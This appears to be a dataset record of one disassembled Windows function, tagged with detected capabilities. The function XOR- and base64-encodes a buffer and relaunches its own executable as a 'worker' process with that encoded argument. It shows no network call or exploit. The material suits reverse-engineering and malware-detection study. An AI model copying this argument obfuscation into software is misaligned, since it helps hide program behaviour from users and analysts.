Function at 0x406ff0
Capabilities:
Check if file exists
Create process on windows
Encode data using base64 via winapi
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4341a8
mov eax, dword fs:[0]
push eax
mov eax, 0x1274
call fcn.00418020
mov eax, dword [0x44a214]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00419db0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4072d7
lea eax, [ebp - 0x218]
push eax
call fcn.00417500
add esp, 4
test eax, eax
je 0x4072d7
push str.host_type
push 7
push str.worker
lea ecx, [ebp + 8]
call fcn.004040c0
xorps xmm0, xmm0
mov dword [ebp - 0x1280], 0x44
lea eax, [ebp - 0x1280]
movlpd qword [ebp - 0x127c], xmm0
push eax
movlpd qword [ebp - 0x1274], xmm0
movlpd qword [ebp - 0x126c], xmm0
movlpd qword [ebp - 0x1264], xmm0
movlpd qword [ebp - 0x125c], xmm0
movlpd qword [ebp - 0x1254], xmm0
movlpd qword [ebp - 0x124c], xmm0
movlpd qword [ebp - 0x1244], xmm0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x1254], 1
push 0x1000
push eax
mov word [ebp - 0x1250], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x1218]
push eax
movups xmmword [ebp - 0x123c], xmm0
call fcn.00419db0
mov esi, dword [ebp + 0x68]
add esp, 0xc
mov eax, dword [ebp + 0x64]
sub esi, eax
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x122c], esi
jne 0x40713b
xor esi, esi
jmp 0x407278
push esi
mov dword [ebp - 0x1224], 0
call fcn.0041c9da
mov edi, eax
add esp, 4
mov dword [ebp - 0x1228], edi
test edi, edi
jne 0x407161
xor esi, esi
jmp 0x407278
push esi
push dword [ebp - 0x1220]
push edi
call fcn.004192b0
add esp, 0xc
xor edi, edi
test esi, esi
je 0x4071fe
nop dword [eax + eax]
mov eax, 0xd41d41d5
mov esi, edi
mul edi
mov eax, edi
mov ecx, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x23
sub esi, eax
mov eax, 0x2f684bdb
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x1b
sub ecx, eax
mov al, byte [ebp + esi + 0x3c]
mov esi, dword [ebp - 0x122c]
xor al, byte [ebp + ecx + 0x21]
mov byte [ebp - 0x1219], al
mov eax, 0xf0f0f0f1
mul edi
mov eax, edi
shr edx, 4
mov ecx, edx
shl ecx, 4
add ecx, edx
sub eax, ecx
mov cl, byte [ebp - 0x1219]
xor cl, byte [ebp + eax + 0x10]
mov eax, edi
and eax, 7
xor cl, byte [ebp + eax + 8]
mov eax, dword [ebp - 0x1228]
xor byte [edi + eax], cl
inc edi
cmp edi, esi
jb 0x407180
jmp 0x407204
mov eax, dword [ebp - 0x1228]
lea ecx, [ebp - 0x1224]
push ecx
push 0
push 0x40000001
push esi
mov esi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
push eax
call esi
push dword [ebp - 0x1224]
call fcn.00417b5c
mov edi, dword [ebp - 0x1228]
lea ecx, [ebp - 0x1224]
add esp, 4
mov dword [ebp - 0x1220], eax
push ecx
push eax
push 0x40000001
push dword [ebp - 0x122c]
push edi
call esi
test eax, eax
je 0x407262
push dword [ebp - 0x1220]
call fcn.0041cbf3
add esp, 4
mov esi, eax
jmp 0x407264
xor esi, esi
push edi
call fcn.0041c9d5
push dword [ebp - 0x1220]
call fcn.00417b65
add esp, 8
push esi
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x1218]
push str.__s___hs__fromwhalecpan
push eax
call fcn.00401e30
add esp, 0x10
lea eax, [ebp - 0x123c]
push eax
lea eax, [ebp - 0x1280]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4072d7
push dword [ebp - 0x1238]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x123c]
call esi
lea ecx, [ebp + 8]
call fcn.00403380
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00418008
mov esp, ebp
pop ebp
ret